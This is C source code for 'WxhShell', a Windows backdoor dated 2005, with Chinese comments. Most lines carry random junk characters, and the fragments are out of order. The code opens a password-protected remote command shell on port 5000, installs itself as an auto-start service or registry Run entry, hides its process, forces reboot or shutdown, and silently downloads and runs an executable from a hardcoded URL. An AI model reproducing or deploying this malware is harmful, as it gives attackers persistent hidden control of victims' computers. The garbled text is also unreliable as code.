    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hGcOk[m 4  
    if(Boot(SHUTDOWN)) b U-Cd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \3O#H  
    else { =V/$&96Q  
    closesocket(wsh); : \:jIP  
    ExitThread(0); O<)"k j 7  
    } Z>wg o@z%  
    break; <6Y o%xt  
    } y4C_G?  
  // 获取shell =zK7`5  
  case 's': { Y9'Bdm/  
    CmdShell(wsh); H9x xId?3u  
    closesocket(wsh); I,_wt+O&j  
    ExitThread(0); ?Q]&d!U Cs  
    break; \T/~" w  
  } 9V0iV5?(P  
  // 退出 >C*q  
  case 'x': { 1WfN_JKB5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y6?d y\  
    CloseIt(wsh); <fJoHS  
    break; 6HCP1`gg   
    } q\x*@KQgM  
  // 离开 "qu%$L  
  case 'q': { : N>5{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;v[F@O~*)  
    closesocket(wsh); TMhUo#`I|  
    WSACleanup(); E;@` { v  
    exit(1); wbU pD(  
    break; `-hFk88  
        } VWI|`O.w  
  } "o*F$7D!  
  } >wNE!Oa*B  
sG%Q?&-  
  // 提示信息 QukLsl]U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ki,]*-XO  
} Aq^1(-g  
  } c#<v:b  
([qw#!;w;  
  return; &s_[~g<  
} WID4{>G2  
>/.-N  
// shell模块句柄 =4RnXZ[P0  
int CmdShell(SOCKET sock) )U6T]1  
{ $"!"=v%B  
STARTUPINFO si; *S~gF/*kP  
ZeroMemory(&si,sizeof(si)); W=M]1hy  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )|x) KY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1,p7Sl^h  
PROCESS_INFORMATION ProcessInfo; |>gya&  
char cmdline[]="cmd"; ^+Ie   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Sl/[9- a)  
  return 0; d(jd{L4d  
} w-Y-;*S  
ZL:nohB  
// 自身启动模式 _bHmcK  
int StartFromService(void) JpvE c!cli  
{ %4Y/-xF}9,  
typedef struct SaH0YxnY+  
{ x\]%TTps  
  DWORD ExitStatus; w`bojM@e1  
  DWORD PebBaseAddress; nAZuA]p}S]  
  DWORD AffinityMask; 21O!CvX   
  DWORD BasePriority; ? DWF7{1  
  ULONG UniqueProcessId; ;[R{oW Nw  
  ULONG InheritedFromUniqueProcessId; Ko]A}v\]  
}   PROCESS_BASIC_INFORMATION; jqPQ= X  
]E .+)>  
PROCNTQSIP NtQueryInformationProcess; 8`EzvEm  
$VvL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *[]7l]XK.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +H,/W_/g  
fil'._  
  HANDLE             hProcess; Pn\ Lg8  
  PROCESS_BASIC_INFORMATION pbi; +?5nkhH  
6+b!|`?l+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y Rr,+>W  
  if(NULL == hInst ) return 0; Qr6[h!  
z4D[>2*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G1K5J`"*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Wsyq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ms ;:+JI  
Z 7rVM   
  if (!NtQueryInformationProcess) return 0; C:\BvPoO  
IP~*_R"bM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .S>:-j'u  
  if(!hProcess) return 0; 1@JAY!yoo_  
Bd*:y qi  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H4ml0SS^  
9XImgeAs  
  CloseHandle(hProcess); v}XMFC !  
nsQx\Tnhx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~5<-&Dyp7  
if(hProcess==NULL) return 0; I,OEor6%R(  
h[b;_>7  
HMODULE hMod; O~N0JK_>  
char procName[255]; MKq:=^w  
unsigned long cbNeeded; 7dhip  
PJA%aRP,:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d #9 \]Ul&  
|_@ '_  
  CloseHandle(hProcess); )R.y>Ucb0  
u=I\0H  
if(strstr(procName,"services")) return 1; // 以服务启动 N2[EdOJT_  
w#_/CU L  
  return 0; // 注册表启动 u )cc  
} V`sINX  
;^za/h>r  
// 主模块 M >#kfSF+  
int StartWxhshell(LPSTR lpCmdLine) X-%XZD B6  
{ ^"WrE(3  
  SOCKET wsl; 0Ah'G  
BOOL val=TRUE; Pb 4%" 9`  
  int port=0; dY'/\dJ  
  struct sockaddr_in door; RwJ#G7S#  
^iAOz-H  
  if(wscfg.ws_autoins) Install(); %;$zR}  
wiKUs0|  
port=atoi(lpCmdLine); D|lp3\`%  
~jWG U-m  
if(port<=0) port=wscfg.ws_port; H/n3il_-I  
Qxr&zT7f  
  WSADATA data; ?UCK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?.Z4GWyXa  
y ,e# e`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5xKo(XNp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |zhVl  
  door.sin_family = AF_INET; J%]< /J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vDl6TKXcu  
  door.sin_port = htons(port); *\ZK(/V  
"l0z?u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { S?TyC";!  
closesocket(wsl); OE_;i}58  
return 1; &!7{2E\7C  
} iv@ey-,<  
$*a'[Qot#  
  if(listen(wsl,2) == INVALID_SOCKET) { Tv2d?y  
closesocket(wsl); CJ0{>?  
return 1; X.TsOoy  
} hn]><kaA  
  Wxhshell(wsl); X;`XkOjk  
  WSACleanup(); Z#w@ /!"}T  
QfqosoP\D  
return 0; t*X k'(v  
Ps=OL\i  
} Reci:T(_  
&)Y26*(`  
// 以NT服务方式启动 rZ}y'A   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -UD^O*U  
{ 8JYF0r7  
DWORD   status = 0; Wl!|+-  
  DWORD   specificError = 0xfffffff; }AdA? :7A  
aN n\URR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9&(d2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v 809/c*  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <*O~?=6p  
  serviceStatus.dwWin32ExitCode     = 0; H#yBWvj*H  
  serviceStatus.dwServiceSpecificExitCode = 0; /*,hR>UG  
  serviceStatus.dwCheckPoint       = 0; Z*,Nt6;e  
  serviceStatus.dwWaitHint       = 0; @nIoYT='  
c*iZ6j"iI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @0js=3!2  
  if (hServiceStatusHandle==0) return; %p?+r  
]r 6S|;:  
status = GetLastError(); f;";P  
  if (status!=NO_ERROR) |#uA(V  
{ ZV:cg v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;fg8,(SM^  
    serviceStatus.dwCheckPoint       = 0; u/W  
    serviceStatus.dwWaitHint       = 0; vd0;33$L  
    serviceStatus.dwWin32ExitCode     = status; |Dz$OZP  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1D@'uApi.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `|9NxF+  
    return; btb$C  
  } Na6z1&wS  
6;|6@j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; G.ag$KF  
  serviceStatus.dwCheckPoint       = 0; {& Pk$Q!  
  serviceStatus.dwWaitHint       = 0; (~}P.?C8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .rfKItd  
} }a=<Gl|I;w  
,\t:R1.  
// 处理NT服务事件,比如:启动、停止 q#}#A@Rg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (f Gmjx  
{ kX0hRX  
switch(fdwControl) 6.uyY@Yx  
{ w]<a$C8*y:  
case SERVICE_CONTROL_STOP: G {wIY"~4  
  serviceStatus.dwWin32ExitCode = 0; EL--?<g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G6l:El&  
  serviceStatus.dwCheckPoint   = 0; cM'\u~m{  
  serviceStatus.dwWaitHint     = 0; gd#j{yI/Xf  
  { ~ 9 F rlj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 701mf1a  
  } 25:[VH$:4  
  return; LIm{Y`XU  
case SERVICE_CONTROL_PAUSE: H> zX8qP+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U- b(  
  break; ef !@|2  
case SERVICE_CONTROL_CONTINUE: 7EI5w37  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2 %`~DVo  
  break; wW. V>$q  
case SERVICE_CONTROL_INTERROGATE: *9XKkR<r  
  break; F!N D  
}; XBvJc'(s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f1Az|h  
} %S'gDCwq  
R]LRgfi9  
// 标准应用程序主函数 ( pDu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pm)kocG  
{ x6h';W_ 8  
a/@F?\A  
// 获取操作系统版本 X-lB1uq^  
OsIsNt=GetOsVer(); [Dzd39aKr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ZqONK^  
%ZKP d8  
  // 从命令行安装 %>)HAx `  
  if(strpbrk(lpCmdLine,"iI")) Install(); u0o}rA  
x>C_O\  
  // 下载执行文件 ryC7O'j_P  
if(wscfg.ws_downexe) { Ba8 s  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |.ZYY(}  
  WinExec(wscfg.ws_filenam,SW_HIDE); Ro2Ab^rQ|  
} qcmf*Yl:v  
{E 'go]  
if(!OsIsNt) { =%i~HDiy  
// 如果时win9x,隐藏进程并且设置为注册表启动 EC:u;2f!  
HideProc(); y E; n. L  
StartWxhshell(lpCmdLine); t.s;dlx[@  
} :l;SG=scx  
else  cFV)zFu  
  if(StartFromService()) Qm(KvL5  
  // 以服务方式启动 *XCgl*% *  
  StartServiceCtrlDispatcher(DispatchTable); [& d"Z2gK  
else m9Pzy^g1  
  // 普通方式启动 e`7dRnx&0  
  StartWxhshell(lpCmdLine); i&di}x  
e I^Q!b8n  
return 0; *LZB.84  
} rGqT[~{t  
^e~m`R2fHh  
-W\1n#J  
#~JR_oQE!  
=========================================== #}lq2!f6  
N E/_  
|<aF)S4  
GV"X) tGo  
iD(+\:E  
4iPxtVT  
" !A|ayYBb\  
3 {OZdl|  
#include <stdio.h> |PaVb4j  
#include <string.h> D8O&`!mf  
#include <windows.h> U#mrbW  
#include <winsock2.h> T1_qAz+  
#include <winsvc.h> -LnNA`-  
#include <urlmon.h> c`M ,KXott  
* ak"}s  
#pragma comment (lib, "Ws2_32.lib") 5;:964Et  
#pragma comment (lib, "urlmon.lib") |%tI!RN):  
|9;MP&68  
#define MAX_USER   100 // 最大客户端连接数 D&]dlY@*  
#define BUF_SOCK   200 // sock buffer !C>'a:  
#define KEY_BUFF   255 // 输入 buffer "3H?_!A9  
rP<S =eb  
#define REBOOT     0   // 重启 *B0 7-  
#define SHUTDOWN   1   // 关机 hAvX{]  
[CAV"u)0  
#define DEF_PORT   5000 // 监听端口 FJC}xEMcN  
&`}8Jz=S  
#define REG_LEN     16   // 注册表键长度 2`V[Nb  
#define SVC_LEN     80   // NT服务名长度 .8~zgpK  
92pl#Igt  
// 从dll定义API i4g99Kvl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;R4qE$u2^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [Fo" MeH?R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v0 uA]6:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q*pWx]Y  
r)/nx@x  
// wxhshell配置信息 q s 0'}>  
struct WSCFG { p J#<e  
  int ws_port;         // 监听端口  0%OV3`  
  char ws_passstr[REG_LEN]; // 口令 7TaHE   
  int ws_autoins;       // 安装标记, 1=yes 0=no i3usZ{_r  
  char ws_regname[REG_LEN]; // 注册表键名 "i1r9TLc  
  char ws_svcname[REG_LEN]; // 服务名 nLjc.Z\Bl  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dZi ?Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \4FKZ>1+R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S1Ql%Yk-(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wti?J.Csc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Au[H!J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0!(BbQnWI  
*(*3/P4D  
}; `a:L%Ex  
dxwH C\"5  
// default Wxhshell configuration jxdxIkAHZc  
struct WSCFG wscfg={DEF_PORT, Qf<@ :T*  
    "xuhuanlingzhe", 48t_?2>  
    1, 4&a,7uVer  
    "Wxhshell", gsD0N^  
    "Wxhshell",  aa10vV  
            "WxhShell Service", ^N2N>^'&1.  
    "Wrsky Windows CmdShell Service", .V'=z|   
    "Please Input Your Password: ", ~V?3A/]  
  1, #fTPo:*t  
  "http://www.wrsky.com/wxhshell.exe", 0//B+.#  
  "Wxhshell.exe" tc4"huG  
    }; TLC&@o :  
qt&zo5  
// 消息定义模块 c=Y8R/G<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Rd|xw%R\mb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fD:>cje  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Eg;xj@S<2  
char *msg_ws_ext="\n\rExit."; n>["h2  
char *msg_ws_end="\n\rQuit."; =3= $F%  
char *msg_ws_boot="\n\rReboot..."; ;xMieqz  
char *msg_ws_poff="\n\rShutdown..."; SWZA`JVK  
char *msg_ws_down="\n\rSave to "; -0R;C`(!  
r@9qjva  
char *msg_ws_err="\n\rErr!"; I nCo[ 8SI  
char *msg_ws_ok="\n\rOK!"; @w]z"UCwV@  
DD(K@M  
char ExeFile[MAX_PATH]; .dStV6  
int nUser = 0; X1GpLy)p  
HANDLE handles[MAX_USER]; ++ZtL\h{7  
int OsIsNt; 6;^ e  
zbM*/:Y  
SERVICE_STATUS       serviceStatus; BMlu>,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n"P29"  
jh3X G  
// 函数声明  SK&?s`  
int Install(void); H;(|&Asq>  
int Uninstall(void); Z.v2 !u  
int DownloadFile(char *sURL, SOCKET wsh); Ag#o&Y  
int Boot(int flag); MV.$Ay  
void HideProc(void); }?vVJm'  
int GetOsVer(void); 0*-nVC1  
int Wxhshell(SOCKET wsl); RxZ#`$F  
void TalkWithClient(void *cs); erQ0fW  
int CmdShell(SOCKET sock); $hM>%u  
int StartFromService(void); n;+e(ob;;  
int StartWxhshell(LPSTR lpCmdLine); XnCrxj  
Js( "H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;?`l1:C5)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?5yj</W  
gY=Ry=w9  
// 数据结构和表定义 JMa[Ulz  
SERVICE_TABLE_ENTRY DispatchTable[] = rDvz2p"R  
{ ; D a[jFP  
{wscfg.ws_svcname, NTServiceMain}, hExw}c  
{NULL, NULL} {#Vck\&  
}; 2*<'=*zaQ  
5/{";k)L+  
// 自我安装 3jG #<4;J  
int Install(void) yk<$XNc  
{ PiTe/  
  char svExeFile[MAX_PATH]; _ o-lNt+  
  HKEY key; :a#p zEK  
  strcpy(svExeFile,ExeFile); u|'}a3  
*w[\(d'T  
// 如果是win9x系统,修改注册表设为自启动 J|D$  
if(!OsIsNt) { ZKT~\l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yavoGk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5?()o}VjAO  
  RegCloseKey(key); 3{;W!/&>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Es~|:$(N]|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D#?jddr-  
  RegCloseKey(key); ju= +!nGUa  
  return 0; >.]' N:5  
    } QV@NA@;XZ  
  } B,Gt6c Uq  
} *~0Ko{Avc  
else { ]XAJ|[]sj*  
%}*0l8y  
// 如果是NT以上系统,安装为系统服务 6uAo0+-k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4\6-sL?rW  
if (schSCManager!=0) n!*uv~%$  
{ Q4&|^RLLG  
  SC_HANDLE schService = CreateService d'yA"b]  
  ( $)fybn Y  
  schSCManager, EC6Q<&]Iw  
  wscfg.ws_svcname, Wveba)"$  
  wscfg.ws_svcdisp, ydyGPZ t  
  SERVICE_ALL_ACCESS, L`!M3c@u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .PhH|jrCW^  
  SERVICE_AUTO_START, yQXHEB  
  SERVICE_ERROR_NORMAL, RXj6L~vs5_  
  svExeFile, z U~o"Jv  
  NULL, g[,1$39Z|@  
  NULL, >nnjL rI  
  NULL, c T!L+z g  
  NULL, S24wv2Uw i  
  NULL j$K[QSn  
  ); -q-/0d<l  
  if (schService!=0) 27NhYDo  
  { F$QAWs  
  CloseServiceHandle(schService); g+-=/Ge  
  CloseServiceHandle(schSCManager); t#0/_tD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3N ]  
  strcat(svExeFile,wscfg.ws_svcname); 4&+;n[D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a V4p0s6ZZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u*<G20~A  
  RegCloseKey(key); K^_Mt!%  
  return 0; 1YklPMx6  
    } /<Doe SDJ|  
  } 8jnz;;|  
  CloseServiceHandle(schSCManager); NNt,J;  
} >+ZD 6l/  
} _(q|W3  
N1LZXXY{  
return 1; C98 Ks  
} V0Z\e _I  
u{o!j7  
// 自我卸载 / xfg4  
int Uninstall(void) v=~=Q*\l  
{ `Xbk2KD p  
  HKEY key; $:YJ<HvG<  
y'9 bs  
if(!OsIsNt) { & m'ttUG?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?d -$lI  
  RegDeleteValue(key,wscfg.ws_regname); dtdz!'q)Y  
  RegCloseKey(key); |^ao,3h#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .i7bI2^  
  RegDeleteValue(key,wscfg.ws_regname); ^r7-|  
  RegCloseKey(key); Nz ,8NM]  
  return 0; +U%U3tAvs  
  } T|h/n\fx)a  
} ?}N@bsl08w  
} za ix_mR  
else { zlh}8Es  
m,~ @1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jZm57{C#*?  
if (schSCManager!=0) % mhnd):  
{ Y2DR oQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N|,6<|  
  if (schService!=0) 0$n0f u  
  { B@,L83  
  if(DeleteService(schService)!=0) { E! i:h62  
  CloseServiceHandle(schService); !zw)! rV=  
  CloseServiceHandle(schSCManager); I\6u(;@  
  return 0; OOEmXb]8  
  } SOyE$GoOsx  
  CloseServiceHandle(schService); cNW [i"  
  } P8JN m"C  
  CloseServiceHandle(schSCManager); 0@9.h{s@  
} uM8YY[b  
} *S).@j\{W  
BVx: JiA  
return 1; %C]K`=vI-  
} bBQ1 ~ R  
y: 0j$%^  
// 从指定url下载文件 T5eXcI0t  
int DownloadFile(char *sURL, SOCKET wsh) Z7eD+4gD  
{ kpM5/=f/@  
  HRESULT hr; ~ituPrH%<  
char seps[]= "/"; `};8   
char *token; 5N:THvh6o  
char *file; b@OL !?JP  
char myURL[MAX_PATH]; SnF3I  
char myFILE[MAX_PATH]; DR`d^aBWQ  
|(e`V  
strcpy(myURL,sURL); QY<{S&k9  
  token=strtok(myURL,seps); gJNp]I2R  
  while(token!=NULL) kq[*q-:"x  
  { hCX}*  
    file=token; CW(]6s u{  
  token=strtok(NULL,seps); xud  
  } Y 9eGDpW  
,6Kx1 c  
GetCurrentDirectory(MAX_PATH,myFILE); 9HOdtpQOV  
strcat(myFILE, "\\"); $18|@\Znj  
strcat(myFILE, file); Q?GmSeUi  
  send(wsh,myFILE,strlen(myFILE),0); M]?#]3XBNo  
send(wsh,"...",3,0); ! K~PH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "YlN_ U  
  if(hr==S_OK) U@<>2  
return 0; Ix,`lFbH  
else N#')Qz:P  
return 1; a.a5qwG  
~M 6^%  
} Q"UQv<  
c~0YIk>]  
// 系统电源模块 :^DuB_  
int Boot(int flag) ellj/u61bj  
{ V4GcW|P4y  
  HANDLE hToken; eKlh }v  
  TOKEN_PRIVILEGES tkp; 0kI.d X)  
`J h> 1l  
  if(OsIsNt) { 6]dK,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8X`Gm!)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c <[?Z7y  
    tkp.PrivilegeCount = 1; @Z.s:FV[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |IqQ%;H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K9FtFd  
if(flag==REBOOT) { Vcg$H8m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gqaENU>  
  return 0; P`HE3?r  
} DWep5$>&K  
else { .~0A*a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (( 0%>HJ{~  
  return 0; xp%,@] p  
} mnM#NT5]  
  } 8t!/O p ?  
  else { ^tIi;7k  
if(flag==REBOOT) { "E;]?s9x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j_E$C.XU{g  
  return 0; T<\Q4Coth  
} 2G8f4vsC[  
else { o$>A;<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) " 1YARGu  
  return 0; tL1"Dt>  
} u>j:8lhtV  
} x68$?CD  
sm-RpZ&|  
return 1; "Y 9 *rL  
} Exox&T  
'vT XR_D  
// win9x进程隐藏模块 &ZgB b  
void HideProc(void) 2{zFO3i<3  
{ |q5R5 mQ  
:Vc+/ZyW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &[}T41  
  if ( hKernel != NULL ) n83,MV?-  
  { }E+}\&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >ZKE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yz!j9pJ  
    FreeLibrary(hKernel); IiV:bHUE}0  
  } @cNX\$J  
s5>=!yX  
return; `d, hP"jBc  
} Hd6g0  
[ "}0umt  
// 获取操作系统版本 R=~+-^O!  
int GetOsVer(void) U]lXw+&  
{ DQ^yqBVgQ  
  OSVERSIONINFO winfo; oJy]n9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [^B04x@  
  GetVersionEx(&winfo); _ 97  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w? A&XB+  
  return 1; yzt6   
  else |D u.aN  
  return 0; Q>u$tLX&  
} 4(MZ*6G]?  
, KF>PoySA  
// 客户端句柄模块 ? &ew$%  
int Wxhshell(SOCKET wsl) 5_b`QO  
{ zJS,f5L6)  
  SOCKET wsh; E ~xK1x"  
  struct sockaddr_in client; HONrt|c  
  DWORD myID; -crKBy  
w `6qT3v  
  while(nUser<MAX_USER) ZKyK#\v<  
{ $Ml/=\EHOg  
  int nSize=sizeof(client); QIVpO /@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r'M|mQ$s>  
  if(wsh==INVALID_SOCKET) return 1; FMB\$(g  
oop''6`C%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); IC>OxYg*  
if(handles[nUser]==0) k.>*!l0  
  closesocket(wsh); `6`NuZ*6g  
else ~?8B~l^  
  nUser++; dhpEB J  
  } ^EE 3E'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E^_P  
x]lv:m\)jT  
  return 0; w1EYXe  
} S P)$K=  
=1fO"|L  
// 关闭 socket g<O*4 ]=  
void CloseIt(SOCKET wsh) -Y%#z'^-  
{ {XiBRs e  
closesocket(wsh); ncf=S(G+  
nUser--; e&?o  
ExitThread(0); P9v N5|"M  
} Z3Os9X9p  
*xXa4HB  
// 客户端请求句柄 ^?(A|krFg  
void TalkWithClient(void *cs) g PogV(V  
{ ~hPp)- A  
9*2A}dH  
  SOCKET wsh=(SOCKET)cs; .Y[sQO~%  
  char pwd[SVC_LEN]; x F7C1g(  
  char cmd[KEY_BUFF]; z-K?Ak B1  
char chr[1]; H[ocIw  
int i,j; di}YHMTx  
:)X?ML?  
  while (nUser < MAX_USER) { q[1:h  
\2)a.2mAz  
if(wscfg.ws_passstr) { Gd1%6}<~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s2L|J[Y"s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'h_PJ%  
  //ZeroMemory(pwd,KEY_BUFF); !1K<iz_8  
      i=0; #bgW{&_ y  
  while(i<SVC_LEN) { vU LlAQG  
IwhZzw w  
  // 设置超时 S',i  
  fd_set FdRead; kxp$Nnk  
  struct timeval TimeOut; 'CsD[<  
  FD_ZERO(&FdRead); Q3,`'[ F  
  FD_SET(wsh,&FdRead); _@jBz"aq\  
  TimeOut.tv_sec=8; O79;tA<k  
  TimeOut.tv_usec=0; F@4XORO;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); KB!.N[!v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .j:[R.  
+ia  F$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SC)4u l%  
  pwd=chr[0]; V*xT5TljS-  
  if(chr[0]==0xd || chr[0]==0xa) { |rkj$s,  
  pwd=0; iJuh1+6:c9  
  break; K-F@OSK'  
  } TDXLxoC?  
  i++; "&%: 9O  
    } 5*~Mv<#  
$8h^R#  
  // 如果是非法用户,关闭 socket |^Nz/PN  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p"f=[awp  
} -q\5)nY  
4Waot  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^:W.R7|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %Uybp  
gE%{#&*  
while(1) { @@K@;Jox  
`X]TIMc:Ad  
  ZeroMemory(cmd,KEY_BUFF); aG;6^$H~  
|xy r6gY  
      // 自动支持客户端 telnet标准   IE!fNuR4  
  j=0; 5"Q3,4f  
  while(j<KEY_BUFF) { &hWLG<IE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i"2[OM\j7  
  cmd[j]=chr[0]; fBS`b[ x  
  if(chr[0]==0xa || chr[0]==0xd) { R?!xO-^t  
  cmd[j]=0; FLdO  
  break; {ve86 POY  
  } L8n1p5 gx3  
  j++; 9H:5XR  
    } 7q?u`3l  
j J6Yz  
  // 下载文件 @sv==|h  
  if(strstr(cmd,"http://")) { H S/ 1z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tyt:Abym=  
  if(DownloadFile(cmd,wsh)) BUB#\v#a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); eSf e s  
  else x;" !  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;mH1J'.(a  
  } CZyOAoc<  
  else { *%_:[>  
3)v6N_  
    switch(cmd[0]) { X||Z>w}v  
  (yQ]n91Q,  
  // 帮助 7qSlqA<Hs  
  case '?': { Dt?O_Bdv[  
